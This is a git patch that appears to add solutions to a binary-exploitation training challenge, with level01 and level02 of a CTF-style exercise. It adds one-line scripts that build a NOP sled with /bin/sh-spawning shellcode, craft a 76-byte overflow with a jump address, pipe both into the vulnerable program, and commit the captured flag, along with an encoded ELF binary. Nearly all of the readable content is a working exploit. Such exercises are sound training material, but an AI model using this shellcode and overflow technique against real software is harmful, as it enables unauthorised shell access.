From 9852844efe4175dca01e50d16b0e31ac70a8f057 Mon Sep 17 00:00:00 2001
From: gbrochar <gaetanbrochard@protonmail.com>
Date: Sat, 3 May 2025 12:59:00 +0200
Subject: [PATCH] feat: level01 + level02 elf

---
 level01/Ressources/bash_command.sh            |   1 +
 level01/Ressources/create_dat_wil.sh          |   1 +
 level01/Ressources/create_password_level01.sh |   1 +
 level01/flag                                  |   1 +
 level02/Ressources/level02                    | Bin 0 -> 9452 bytes
 5 files changed, 4 insertions(+)
 create mode 100644 level01/Ressources/bash_command.sh
 create mode 100644 level01/Ressources/create_dat_wil.sh
 create mode 100644 level01/Ressources/create_password_level01.sh
 create mode 100644 level01/flag
 create mode 100755 level02/Ressources/level02

diff --git a/level01/Ressources/bash_command.sh b/level01/Ressources/bash_command.sh
new file mode 100644
index 0000000..31f25db
--- /dev/null
+++ b/level01/Ressources/bash_command.sh
@@ -0,0 +1 @@
+(cat /tmp/dat_wil_payload; cat /tmp/exploit_level01_jump; cat) | ./level01
diff --git a/level01/Ressources/create_dat_wil.sh b/level01/Ressources/create_dat_wil.sh
new file mode 100644
index 0000000..c98977f
--- /dev/null
+++ b/level01/Ressources/create_dat_wil.sh
@@ -0,0 +1 @@
+python -c "print('dat_wil'+'\x90'*150+'\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68')" > /tmp/dat_wil_payload
diff --git a/level01/Ressources/create_password_level01.sh b/level01/Ressources/create_password_level01.sh
new file mode 100644
index 0000000..8ccdf2c
--- /dev/null
+++ b/level01/Ressources/create_password_level01.sh
@@ -0,0 +1 @@
+python -c "print('A'*80+'\x60\xa0\x04\x08')" > /tmp/exploit_level01_jump
diff --git a/level01/flag b/level01/flag
new file mode 100644
index 0000000..0ad714d
--- /dev/null
+++ b/level01/flag
@@ -0,0 +1 @@
+PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv
diff --git a/level02/Ressources/level02 b/level02/Ressources/level02
new file mode 100755
index 0000000000000000000000000000000000000000..c85bbaf3ec19ad9f09c09bfd46d2e16b0ac23706
GIT binary patch
literal 9452
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
OQ((tLJn`EDyXIfNY=xr$

literal 0
HcmV?d00001